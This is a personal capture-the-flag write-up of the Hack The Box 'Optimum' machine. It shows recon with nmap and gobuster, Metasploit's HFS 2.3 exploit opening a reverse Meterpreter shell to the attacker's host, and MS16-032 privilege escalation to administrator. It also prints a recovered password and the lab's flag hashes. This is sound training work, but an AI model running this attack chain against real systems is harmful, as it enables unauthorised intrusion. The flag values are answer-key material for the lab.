> For the complete documentation index, see [llms.txt](https://sgtdiddlywink.gitbook.io/htb/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sgtdiddlywink.gitbook.io/htb/machines/easy-machines/optimum.md).
# Optimum
## TARGET IP: 10.10.10.8
## HOST IP: 10.10.16.10
## Recon
### NMAP
```
nmap [Target IP]
```
```
nmap [Target IP] -A -p 80
```
### HTTP
* Nothing on page source that I could find.
* It is using [HttpFileServer 2.3](/htb/machines/easy-machines/stocker.md)
* Their latest version is 2.3m
* The login button opens up prompt for login.
* Let's take a crack at logging in with credentails `admin:admin`.
* Discovered new directory `/~login`. This uses a tildy infront.
### Vulnerable Software
* HFS 2.3 is old and filled with goodies.
* Lots of vulnerabilities are mentioned on their own website:
* Exploit DB has two verified exploits [1](https://www.exploit-db.com/exploits/34668) & [2](https://www.exploit-db.com/exploits/39161).
*
## Enumeration
### Gobuster
```
gobuster dir -u http://[Target IP] -w /usr/share/dirb/wordlists/common.txt
```
* Try putting a \~ at the end since we saw that the `/~login` directory had it.
```
gobuster dir -u http://[Target IP]/~ -w /usr/share/dirb/wordlists/common.txt
```
### WinPEASx64
* Credentials for kostas
```
kdeEjDowkS*
```
* I need to be better at looking through these to see if I could've found more information.
### Browsing
* Run the typical commands from the [hacktricks checklist](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation) to see some information on the system.
```
sysinfo
```
* This will tell us the system is Windows 12 Server R2.
* This is a 64-bit system.
## Exploit
### Metasploit
* Let's check out Metasploit
```
msfconsole
search hfs
```
```
use 1
show options
```
```
set rhosts [Target IP]
set lhost [Host IP]
check
exploit
```
* Now we have a Meterpreter session.
```
shell
whoami
```
```
type C:\Users\kostas\Desktop\user.txt
```
* User Flag
```
b9058357319a5b76f10e01253a382c67
```
* Next step is to use Metasploit to gain root privileges. I tried browsing the system for a while but didn't find anything useful. The tool I need is a kernel exploit.
* When we ran the `sysinfo` command we found the system is a Windows 2012 R2 server which is a 64-bit architecture. The `reverse_tcp_shell` that we are using as our payload is a 32-bit process. We should `migrate` over to a different process that is 64-bit.
* On the meterpreter shell run the following.
```
ps
```
* We see that the `explorer.exe` process is running on `PID 660`.
* Let's `migrate` over to this process.
```
migrate [PID for explorer.exe]
```
* Next, let's `background` the current meterpreter system we have in the system.
```
bg
```
* We can confirm this has been backgrounded:
```
sessions
```
* Since we now have access to the windows system, let's see if we can find another metasploit local exploit to root privileges.
```
search exploit/windows/local
```
* I had to get a hint here and use a Microsoft vulnerability in the system [MS16\_032](https://learn.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-032).
```
use 33
```
* I'm not sure if winPEASx64 showed this somewhere but I could have also used a tool called [window-exploit-suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester). Here is a [write-up](https://alamot.github.io/optimum_writeup/) on how to use it. It's a bit complicated as you run it on your host system by exporting the target system info.
* After selecting our exploit in Metasploit we will then set it up and run it.
```
show options
set session 1
set lhost [Host IP]
```
```
exploit
```
* We now have a shell to the system as administrator.
```
shell
type C:\Users\Administrator\Desktop\root.txt
```
```
64869e78042316656ffc989ba52d5d2b
```
## Conclusion
* I knew going into this lab that I could use Metasploit. I didn't know when I would get to use it but knew it was an option. I wanted to try to get access to the system without Metasploit but I don't think my level of skill is high enough to do it, let alone understand it.
* I need to work on my enumeration skills with Windows systems. I have a far better understanding of them with Linux and could probably spend some more time with Windows.
* It was a good lab but I'd really like to finish one of these without help one day.